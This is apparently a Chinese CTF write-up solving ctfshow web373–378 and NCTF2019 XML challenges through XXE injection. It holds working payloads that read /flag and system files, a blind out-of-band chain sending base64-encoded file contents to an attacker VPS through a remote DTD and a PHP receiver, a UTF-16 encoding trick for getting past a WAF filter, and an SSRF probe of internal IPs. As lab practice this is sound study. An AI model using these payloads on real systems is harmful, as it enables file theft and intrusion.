CTFSHOW
web373
能够看到是一个很xxe的xxe代码
直接post传:
<!DOCTYPE xxe [ <!ENTITY haoye SYSTEM "file:///flag"> ]> <hhh> <ctfshow>&haoye;</ctfshow> </hhh>
得到flag
web374~376
- 没有vps,先鸽了,中秋假期再说,作业太多了呜呜呜
———————————–咕咕线——————————————–
- 有vps啦,我来了
web374
应该是很常规的无回显xxe,虽然我本地多次失败,还写错了vps的ip呜呜呜
新建一个
1.php
,用于接收得到的内容并写入文件:<?php $a = $_GET['q']; $myFile = "flag.txt"; file_put_contents($myFile, $a, FILE_APPEND);
payload长这样:
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://[IP: xxx.xx]/1.dtd"> %remote;%int;%send; ]>
新建一个
1.dtd
文件:<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://[IP: xxx.xx]/1.php?q=%file;'>">
访问
flag.txt
,得到flag
web375
preg_match('/<\?xml version="1\.0"/', $xmlfile)
,过滤了xml的头,但是这个东西是可写可不写的,等于是没啥影响- 跟上一个题一样
web376
- 看着好像那个过滤和375没什么区别呀
- 好吧~做法也没什么区别
web377
- 咕咕咕~
- xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码
- 在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集
- 外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码;例如,libxml2解析器只支持一种类型的utf-32 —— utf-32BE,特别是不支持BOM
————————————-咕咕线———————————————
我肥来了!
preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)
,又过滤了http脚本:
import requests url = 'http://bb7a4789-f80a-44c3-9e6b-4ea9d1ad33dc.challenge.ctf.show/' s = '''<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://[IP:xxx.xx]/1.dtd"> %remote;%int;%send; ]>''' s = s.encode('utf-16') r = requests.post(url=url, data=s) print(r.text)
web378
wow,是熟悉的感觉!和昨天那个NCTF的差不多,但是昨天那个最后爆破到失去耐心,wp也还没写
这个好好写一下吧
首先看到是一个登录界面,随便输入
admin,admin
尝试登录失败,页面回显admin login fail!
抓包,可以看到账号密码的提交格式是:
<user><username>111</username><password>222</password></user>
repeater返回的是:
<result><code>0</code><msg>111</msg></result>
构造payload:
<!DOCTYPE xml [ <!ENTITY haoye SYSTEM "file:///flag"> ]> <user><username>&haoye;</username><password>222</password></user>
返回flag
BUU
[NCTF2019]True XML cookbook
补一下昨天的
思路和上边378差不多,但是在读文件的时候开始陷入深深的疑惑
读
/etc/passwd
但是没有啥有用的内容然后是这样:
<!DOCTYPE xml [ <!ENTITY haoye SYSTEM "file:///proc/net/fib_trie"> ]> <user><username>&haoye;</username><password>111</password></user>
找到了一个正确的IP,然后通过bp爆破,找到一个可以访问的IP,最后的payload长这样:
<!DOCTYPE xml [ <!ENTITY haoye SYSTEM "http://10.244.80.142"> ]> <user><username>&haoye;</username><password>111</password></user>
[NCTF2019]Fake XML cookbook
直接拿上边378的payload,回显flag
<!DOCTYPE xml [ <!ENTITY haoye SYSTEM "file:///flag"> ]> <user><username>&haoye;</username><password>222</password></user>